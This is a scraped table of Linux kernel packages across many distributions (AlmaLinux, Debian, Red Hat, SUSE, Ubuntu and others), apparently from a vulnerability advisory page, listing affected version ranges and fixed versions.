`kernel-rt-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-debug` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-debug-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-debug-devel` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-debug-modules` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-debug-modules-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-debug-modules-extra` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`linux-lts` Alpaquita:23	6.1.159-r0 up to 6.1.161-r0	6.1.161-r0
`linux-lts` Alpaquita:25	6.12.61-r0 up to 6.12.65-r0	6.12.65-r0
`linux-lts` Alpaquita:stream	6.12.92-r1 up to 6.18.35-r1	6.18.35-r1
`bpftool` TuxCare:AlmaLinux:9.2	before 7.0.0-284.1101.el9_2.tuxcare.11.els12	7.0.0-284.1101.el9_2.tuxcare.11.els12
`kernel` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-abi-stablelists` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-core` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-cross-headers` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-debug` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-debug-core` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-debug-devel` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-debug-devel-matched` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-debug-modules` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-debug-modules-core` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-debug-modules-extra` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-debug-modules-internal` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-debug-modules-partner` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-debug-uki-virt` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-devel` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-devel-matched` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-doc` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-headers` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-ipaclones-internal` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-modules` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-modules-core` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-modules-extra` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-modules-internal` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-modules-partner` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-selftests-internal` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-tools` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-tools-libs` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-tools-libs-devel` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`kernel-uki-virt` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`libbpf` TuxCare:AlmaLinux:9.2	before 2:1.0.0-2.el9_2.tuxcare.11.els12	2:1.0.0-2.el9_2.tuxcare.11.els12
`libbpf-devel` TuxCare:AlmaLinux:9.2	before 2:1.0.0-2.el9_2.tuxcare.11.els12	2:1.0.0-2.el9_2.tuxcare.11.els12
`libbpf-static` TuxCare:AlmaLinux:9.2	before 2:1.0.0-2.el9_2.tuxcare.11.els12	2:1.0.0-2.el9_2.tuxcare.11.els12
`perf` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`python3-perf` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`rtla` TuxCare:AlmaLinux:9.2	before 5.14.0-284.1101.el9_2.tuxcare.11.els12	5.14.0-284.1101.el9_2.tuxcare.11.els12
`Kernel` Linux	before 5.10.248, 5.11.0 up to 5.15.198, 5.16.0 up to 6.1.160, 6.2.0 up to 6.12.64, 6.7.0 up to 6.18.3	5.10.2485.15.1986.1.1606.6.1206.12.646.18.3
`linux` Debian:12	before 6.1.162-1, plus listed versions 6.1.106-16.1.106-26.1.106-36.1.112-16.1.115-1 Show 41 moreShow less 6.1.119-16.1.123-16.1.124-16.1.128-16.1.129-16.1.133-16.1.135-16.1.137-16.1.139-16.1.140-16.1.147-16.1.148-16.1.153-16.1.158-16.1.159-16.1.27-16.1.37-16.1.38-16.1.38-26.1.38-2~bpo11+16.1.38-36.1.38-46.1.38-4~bpo11+16.1.52-16.1.55-16.1.55-1~bpo11+16.1.64-16.1.66-16.1.67-16.1.69-16.1.69-1~bpo11+16.1.76-16.1.76-1~bpo11+16.1.82-16.1.85-16.1.90-16.1.90-1~bpo11+16.1.94-16.1.94-1~bpo11+16.1.98-16.1.99-1	6.1.162-1
`linux` Debian:13	before 6.12.69-1, plus listed versions 6.12.38-16.12.41-16.12.43-16.12.43-1~bpo12+16.12.48-1 Show 5 moreShow less 6.12.57-16.12.57-1~bpo12+16.12.63-16.12.63-1~bpo12+16.12.69-1~bpo12+1	6.12.69-1
`linux` Debian:14	before 6.18.3-1, plus listed versions 6.12.100-16.12.101-16.12.105-16.12.107-16.12.38-1 Show 45 moreShow less 6.12.41-16.12.43-16.12.43-1~bpo12+16.12.48-16.12.57-16.12.57-1~bpo12+16.12.63-16.12.63-1~bpo12+16.12.69-16.12.69-1~bpo12+16.12.73-16.12.73-1~bpo12+16.12.74-16.12.74-26.12.74-2~bpo12+16.12.85-16.12.85-1~bpo12+16.12.86-16.12.86-1~bpo12+16.12.88-16.12.88-1~bpo12+16.12.90-16.12.90-1~bpo12+16.12.90-26.12.90-2~bpo12+16.12.94-16.12.94-1~bpo12+16.12.95-16.12.95-1~bpo12+16.12.96-16.13.10-1~exp16.13.11-1~exp16.13.2-1~exp16.13.3-1~exp16.13.4-1~exp16.13.5-1~exp16.13.6-1~exp16.13.7-1~exp16.13.8-1~exp16.13.9-1~exp16.13~rc6-1~exp16.13~rc7-1~exp16.14.3-1~exp16.14.5-1~exp16.14.6-1~exp1	6.18.3-1
`linux` Debian:11	before 5.10.249-1, plus listed versions 5.10.103-15.10.103-1~bpo10+15.10.106-15.10.113-15.10.120-1 Show 43 moreShow less 5.10.120-1~bpo10+15.10.127-15.10.127-25.10.127-2~bpo10+15.10.136-15.10.140-15.10.148-15.10.149-15.10.149-25.10.158-15.10.158-25.10.162-15.10.178-15.10.178-25.10.178-35.10.179-15.10.179-25.10.179-35.10.179-45.10.179-55.10.191-15.10.197-15.10.205-15.10.205-25.10.209-15.10.209-25.10.216-15.10.218-15.10.221-15.10.223-15.10.226-15.10.234-15.10.237-15.10.244-15.10.247-15.10.46-45.10.46-55.10.70-15.10.70-1~bpo10+15.10.84-15.10.92-15.10.92-1~bpo10+15.10.92-2	5.10.249-1
`linux-6.1` Debian:11	before 6.1.162-1~deb11u1, plus listed versions 6.1.106-3~deb11u16.1.106-3~deb11u26.1.106-3~deb11u36.1.112-1~deb11u16.1.119-1~deb11u1 Show 9 moreShow less 6.1.128-1~deb11u16.1.129-1~deb11u16.1.137-1~deb11u16.1.140-1~deb11u16.1.147-1~deb11u16.1.148-1~deb11u16.1.153-1~deb11u16.1.158-1~deb11u16.1.159-1~deb11u1	6.1.162-1~deb11u1
`kernel` Mageia:9	before 6.6.120-1.mga9	6.6.120-1.mga9
`kmod-virtualbox` Mageia:9	before 7.1.14-14.mga9	7.1.14-14.mga9
`kmod-xtables-addons` Mageia:9	before 3.24-88.mga9	3.24-88.mga9
`kernel-linus` Mageia:9	before 6.6.120-1.mga9	6.6.120-1.mga9
`kernel-64k-debug-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-debug-devel` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-debug-devel-matched` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-devel` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-devel-matched` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debug-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debug-devel` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debug-devel-matched` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debuginfo-common-aarch64` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debuginfo-common-ppc64le` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debuginfo-common-s390x` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debuginfo-common-x86_64` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-devel` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-devel-matched` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-doc` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-rt-64k-debug-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-rt-64k-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-rt-debug-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-rt-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-tools-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-zfcpdump-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-zfcpdump-devel` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-zfcpdump-devel-matched` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`libperf-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`perf` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`perf-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`python3-perf` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`python3-perf-debuginfo` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`rtla` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`rv` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-core` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-debug` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-debug-core` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-debug-modules` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-debug-modules-core` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-debug-modules-extra` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-modules` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-modules-core` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-64k-modules-extra` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-abi-stablelists` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-core` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debug` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debug-core` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debug-modules` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debug-modules-core` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debug-modules-extra` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-debug-uki-virt` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-modules` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-modules-core` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel-modules-extra` Red Hat:enterprise_linux:10.2	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel` Rocky Linux:10	before 0:6.12.0-211.32.1.el10_2	0:6.12.0-211.32.1.el10_2
`kernel` Rocky Linux:9	before 0:5.14.0-687.24.1.el9_8	0:5.14.0-687.24.1.el9_8
`linux` Root:Debian:11	before 5.10.262-1.aikido.113	5.10.262-1.aikido.1135.10.262-1.aikido.114
`rootio-linux` Root:Debian:11	before 5.10.262-1.aikido.113	5.10.262-1.aikido.1135.10.262-1.aikido.114
`linux` Root:Debian:12	before 6.1.190-1.aikido.167	6.1.190-1.aikido.167
`rootio-linux` Root:Debian:12	before 6.1.190-1.aikido.167	6.1.190-1.aikido.167
`linux` Root:Debian:13	before 6.12.115-2.aikido.164	6.12.115-2.aikido.164
`rootio-linux` Root:Debian:13	before 6.12.115-2.aikido.164	6.12.115-2.aikido.164
`linux` Root:Ubuntu:22.04	before 5.15.0-202.212.aikido.118	5.15.0-202.212.aikido.118
`rootio-linux` Root:Ubuntu:22.04	before 5.15.0-202.212.aikido.118	5.15.0-202.212.aikido.118
`linux` Root:Ubuntu:24.04	before 6.8.0-147.147.aikido.90	6.8.0-147.147.aikido.90
`rootio-linux` Root:Ubuntu:24.04	before 6.8.0-147.147.aikido.90	6.8.0-147.147.aikido.90
`kernel-64kb` SUSE:Linux Enterprise Module for Basesystem 15 SP7	before 6.4.0-150700.53.31.1	6.4.0-150700.53.31.1
`kernel-default` SUSE:Linux Enterprise Module for Basesystem 15 SP7	before 6.4.0-150700.53.31.1	6.4.0-150700.53.31.1
`kernel-default-base` SUSE:Linux Enterprise Module for Basesystem 15 SP7	before 6.4.0-150700.53.31.1.150700.17.21.1	6.4.0-150700.53.31.1.150700.17.21.1
`kernel-source` SUSE:Linux Enterprise Module for Basesystem 15 SP7	before 6.4.0-150700.53.31.1	6.4.0-150700.53.31.1
`kernel-zfcpdump` SUSE:Linux Enterprise Module for Basesystem 15 SP7	before 6.4.0-150700.53.31.1	6.4.0-150700.53.31.1
`kernel-docs` SUSE:Linux Enterprise Module for Development Tools 15 SP7	before 6.4.0-150700.53.31.1	6.4.0-150700.53.31.1
`kernel-obs-build` SUSE:Linux Enterprise Module for Development Tools 15 SP7	before 6.4.0-150700.53.31.1	6.4.0-150700.53.31.1
`kernel-source` SUSE:Linux Enterprise Module for Development Tools 15 SP7	before 6.4.0-150700.53.31.1	6.4.0-150700.53.31.1
`kernel-syms` SUSE:Linux Enterprise Module for Development Tools 15 SP7	before 6.4.0-150700.53.31.1	6.4.0-150700.53.31.1
`kernel-default` SUSE:Linux Enterprise Module for Legacy 15 SP7	before 6.4.0-150700.53.31.1	6.4.0-150700.53.31.1
`kernel-default` SUSE:Linux Enterprise Live Patching 15 SP7	before 6.4.0-150700.53.31.1	6.4.0-150700.53.31.1
`kernel-livepatch-SLE15-SP7_Update_9` SUSE:Linux Enterprise Live Patching 15 SP7	before 1-150700.15.3.1	1-150700.15.3.1
`kernel-default` SUSE:Linux Enterprise High Availability Extension 15 SP7	before 6.4.0-150700.53.31.1	6.4.0-150700.53.31.1
`kernel-default` SUSE:Linux Enterprise Workstation Extension 15 SP7	before 6.4.0-150700.53.31.1	6.4.0-150700.53.31.1
`kernel-azure` SUSE:Linux Enterprise Module for Public Cloud 15 SP7	before 6.4.0-150700.20.27.1	6.4.0-150700.20.27.1
`kernel-source-azure` SUSE:Linux Enterprise Module for Public Cloud 15 SP7	before 6.4.0-150700.20.27.1	6.4.0-150700.20.27.1
`kernel-syms-azure` SUSE:Linux Enterprise Module for Public Cloud 15 SP7	before 6.4.0-150700.20.27.1	6.4.0-150700.20.27.1
`kernel-livepatch-SLE15-SP7-RT_Update_9` SUSE:Linux Enterprise Live Patching 15 SP7	before 1-150700.1.3.2	1-150700.1.3.2
`kernel-rt` SUSE:Real Time Module 15 SP7	before 6.4.0-150700.7.31.2	6.4.0-150700.7.31.2
`kernel-source-rt` SUSE:Real Time Module 15 SP7	before 6.4.0-150700.7.31.1	6.4.0-150700.7.31.1
`kernel-syms-rt` SUSE:Real Time Module 15 SP7	before 6.4.0-150700.7.31.1	6.4.0-150700.7.31.1
`kernel-default` SUSE:Linux Enterprise Micro 5.2	before 5.3.18-150300.59.238.1	5.3.18-150300.59.238.1
`kernel-default-base` SUSE:Linux Enterprise Micro 5.2	before 5.3.18-150300.59.238.1.150300.18.142.1	5.3.18-150300.59.238.1.150300.18.142.1
`kernel-rt` SUSE:Linux Enterprise Micro 5.2	before 5.3.18-150300.238.1	5.3.18-150300.238.1
`kernel-source-rt` SUSE:Linux Enterprise Micro 5.2	before 5.3.18-150300.238.1	5.3.18-150300.238.1
`kernel-default` SUSE:Linux Enterprise Micro 5.3	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-default-base` SUSE:Linux Enterprise Micro 5.3	before 5.14.21-150400.24.197.1.150400.24.100.1	5.14.21-150400.24.197.1.150400.24.100.1
`kernel-default` SUSE:Linux Enterprise Micro 5.4	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-default-base` SUSE:Linux Enterprise Micro 5.4	before 5.14.21-150400.24.197.1.150400.24.100.1	5.14.21-150400.24.197.1.150400.24.100.1
`kernel-default` SUSE:Linux Enterprise Live Patching 15 SP4	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-livepatch-SLE15-SP4_Update_49` SUSE:Linux Enterprise Live Patching 15 SP4	before 1-150400.9.3.1	1-150400.9.3.1
`kernel-default` SUSE:Linux Enterprise High Availability Extension 15 SP4	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-64kb` SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-default` SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-default-base` SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS	before 5.14.21-150400.24.197.1.150400.24.100.1	5.14.21-150400.24.197.1.150400.24.100.1
`kernel-docs` SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-obs-build` SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-source` SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-syms` SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-64kb` SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-default` SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-default-base` SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS	before 5.14.21-150400.24.197.1.150400.24.100.1	5.14.21-150400.24.197.1.150400.24.100.1
`kernel-docs` SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-obs-build` SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-source` SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-syms` SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-64kb` SUSE:Linux Enterprise Server 15 SP4-LTSS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-default` SUSE:Linux Enterprise Server 15 SP4-LTSS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-default-base` SUSE:Linux Enterprise Server 15 SP4-LTSS	before 5.14.21-150400.24.197.1.150400.24.100.1	5.14.21-150400.24.197.1.150400.24.100.1
`kernel-docs` SUSE:Linux Enterprise Server 15 SP4-LTSS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-obs-build` SUSE:Linux Enterprise Server 15 SP4-LTSS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-source` SUSE:Linux Enterprise Server 15 SP4-LTSS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`kernel-syms` SUSE:Linux Enterprise Server 15 SP4-LTSS	before 5.14.21-150400.24.197.1	5.14.21-150400.24.197.1
`dtb-aarch64` openSUSE:Leap 15.6	before 6.4.0-150600.23.92.1	6.4.0-150600.23.92.1
`kernel-64kb` openSUSE:Leap 15.6	before 6.4.0-150600.23.92.1	6.4.0-150600.23.92.1
`kernel-debug` openSUSE:Leap 15.6	before 6.4.0-150600.23.92.1	6.4.0-150600.23.92.1
`kernel-default` openSUSE:Leap 15.6	before 6.4.0-150600.23.92.1	6.4.0-150600.23.92.1
`kernel-default-base` openSUSE:Leap 15.6	before 6.4.0-150600.23.92.1.150600.12.42.2	6.4.0-150600.23.92.1.150600.12.42.2
`kernel-docs` openSUSE:Leap 15.6	before 6.4.0-150600.23.92.1	6.4.0-150600.23.92.1
`kernel-kvmsmall` openSUSE:Leap 15.6	before 6.4.0-150600.23.92.1	6.4.0-150600.23.92.1
`kernel-obs-build` openSUSE:Leap 15.6	before 6.4.0-150600.23.92.1	6.4.0-150600.23.92.1
`kernel-obs-qa` openSUSE:Leap 15.6	before 6.4.0-150600.23.92.1	6.4.0-150600.23.92.1
`kernel-source` openSUSE:Leap 15.6	before 6.4.0-150600.23.92.1	6.4.0-150600.23.92.1
`kernel-syms` openSUSE:Leap 15.6	before 6.4.0-150600.23.92.1	6.4.0-150600.23.92.1
`kernel-zfcpdump` openSUSE:Leap 15.6	before 6.4.0-150600.23.92.1	6.4.0-150600.23.92.1
`linux-hwe-edge` Ubuntu:16.04:LTS	All versions, plus listed versions 4.8.0-28.30~16.04.14.8.0-30.32~16.04.14.8.0-32.34~16.04.14.8.0-34.36~16.04.14.10.0-14.16~16.04.1 Show 18 moreShow less 4.10.0-19.21~16.04.14.10.0-20.22~16.04.14.10.0-21.23~16.04.14.10.0-22.24~16.04.14.10.0-24.28~16.04.14.10.0-26.30~16.04.14.11.0-13.19~16.04.14.11.0-14.20~16.04.14.13.0-16.19~16.04.34.13.0-17.20~16.04.14.13.0-19.22~16.04.14.13.0-21.24~16.04.14.13.0-25.29~16.04.24.15.0-13.14~16.04.14.15.0-15.16~16.04.14.15.0-20.21~16.04.14.15.0-22.24~16.04.14.15.0-23.25~16.04.1	None known
`linux-aws-5.0` Ubuntu:18.04:LTS	All versions, plus listed versions 5.0.0-1021.24~18.04.15.0.0-1022.25~18.04.15.0.0-1023.26~18.04.15.0.0-1024.27~18.04.15.0.0-1025.285.0.0-1027.30	None known
`linux-aws-5.3` Ubuntu:18.04:LTS	All versions, plus listed versions 5.3.0-1016.17~18.04.15.3.0-1017.18~18.04.15.3.0-1019.21~18.04.15.3.0-1023.25~18.04.15.3.0-1028.30~18.04.1 Show 5 moreShow less 5.3.0-1030.32~18.04.15.3.0-1032.34~18.04.25.3.0-1033.355.3.0-1034.365.3.0-1035.37	None known
